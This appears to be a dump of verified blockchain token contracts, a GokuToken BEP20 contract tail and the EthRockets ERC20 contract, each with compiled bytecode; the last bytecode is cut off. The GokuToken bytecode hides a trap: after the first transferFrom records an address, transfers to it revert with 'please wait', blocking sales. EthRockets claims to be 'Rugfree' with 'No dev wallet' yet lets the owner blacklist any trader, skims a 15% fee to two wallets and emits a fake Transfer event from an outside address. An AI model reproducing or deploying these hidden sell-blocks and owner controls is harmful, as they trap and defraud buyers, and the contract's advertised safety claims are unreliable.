return true;
}
function() external payable {
revert();
}
}
contract GokuToken is TokenBEP20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {}
}
|
0x6080604052600436106100f35760003560e01c806381f4f3991161008a578063cae9ca5111610059578063cae9ca5114610568578063d4ee1d9014610672578063dd62ed3e146106c9578063f2fde38b1461074e576100f3565b806381f4f399146103bd5780638da5cb5b1461040e57806395d89b4114610465578063a9059cbb146104f5576100f3565b806323b872dd116100c657806323b872dd1461027d578063313ce5671461031057806370a082311461034157806379ba5097146103a6576100f3565b806306fdde03146100f8578063095ea7b31461018857806318160ddd146101fb5780631ee59f2014610226575b600080fd5b34801561010457600080fd5b5061010d61079f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019457600080fd5b506101e1600480360360408110156101ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083d565b604051808215151515815260200191505060405180910390f35b34801561020757600080fd5b5061021061092f565b6040518082815260200191505060405180910390f35b34801561023257600080fd5b5061023b61098a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561028957600080fd5b506102f6600480360360608110156102a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b0565b604051808215151515815260200191505060405180910390f35b34801561031c57600080fd5b50610325610df5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034d57600080fd5b506103906004803603602081101561036457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e08565b6040518082815260200191505060405180910390f35b3480156103b257600080fd5b506103bb610e51565b005b3480156103c957600080fd5b5061040c600480360360208110156103e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fee565b005b34801561041a57600080fd5b5061042361108b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047157600080fd5b5061047a6110b0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ba57808201518184015260208101905061049f565b50505050905090810190601f1680156104e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050157600080fd5b5061054e6004803603604081101561051857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114e565b604051808215151515815260200191505060405180910390f35b34801561057457600080fd5b506106586004803603606081101561058b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105d257600080fd5b8201836020820111156105e457600080fd5b8035906020019184600183028401116401000000008311171561060657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506113ad565b604051808215151515815260200191505060405180910390f35b34801561067e57600080fd5b506106876115e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d557600080fd5b50610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611606565b6040518082815260200191505060405180910390f35b34801561075a57600080fd5b5061079d6004803603602081101561077157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061168d565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108355780601f1061080a57610100808354040283529160200191610835565b820191906000526020600020905b81548152906001019060200180831161081857829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610985600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461172a90919063ffffffff16565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a3c5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610a875782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b4c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610b9e82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7082600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d4282600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eab57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461104757600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111465780601f1061111b57610100808354040283529160200191611146565b820191906000526020600020905b81548152906001019060200180831161112957829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61126682600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112fb82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561156e578082015181840152602081019050611553565b50505050905090810190601f16801561159b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156115bd57600080fd5b505af11580156115d1573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116e657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561173957600080fd5b818303905092915050565b600081830190508281101561175857600080fd5b9291505056fea265627a7a72315820de8da59e1001e53ff9823af70a10d5a6ae67661a00f9778d03348ae06796fb7264736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 5,304 |
0x8536c6bdf012ff75406245ac9a4d7e8117d46cb2
|
/**
*Submitted for verification at BscScan.com on 2021-07-26
*/
/**
*Visit our website: http://www.ethrockets.com
* Visit our Telegram: http://t.me/ethrockets
* Liquidity Locked
* Ownership renounced
* Marketing paid
* No dev wallet
* Rugfree token
*/
/**
*/
/**
*Submitted for verification
*/
/**
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract EthRockets is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "EthRockets | t.me/EthRockets";
string private constant _symbol = "EthRockets";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280601c81526020017f457468526f636b657473207c20742e6d652f457468526f636b65747300000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f457468526f636b65747300000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167ffffffffffffffffffffffffffffffffffffffff